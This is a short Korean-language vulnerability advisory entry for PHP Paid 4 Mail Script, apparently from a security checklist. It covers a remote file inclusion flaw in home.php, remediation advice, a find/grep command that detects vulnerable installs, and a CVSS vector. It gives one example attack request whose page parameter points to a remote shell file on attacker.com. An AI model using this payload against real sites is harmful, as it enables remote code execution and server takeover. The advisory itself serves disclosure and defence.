PHP Paid 4 Mail Script (모든 버전)
HTTP GET/POST 요청으로 page 파라미터에 원격 파일 URL 전달: /home.php?page=http://attacker.com/shell.php
PHP Paid 4 Mail Script를 더 이상 사용하지 말고, 활성 지원을 받는 대체 솔루션으로 마이그레이션하거나, home.php의 page 파라미터를 화이트리스트 방식으로 검증하도록 수정
명령어가 home.php 파일 경로를 반환하면 해당 시스템이 취약한 버전이 설치되어 있는 것으로 확인됩니다. 반환값이 없으면 해당 애플리케이션이 설치되지 않은 상태입니다.
find / -name 'home.php' -type f 2>/dev/null | xargs grep -l 'include.*\$_\(GET\|POST\|REQUEST\)\[.*page' 2>/dev/null
AV:N/AC:L/Au:N/C:P/I:P/A:P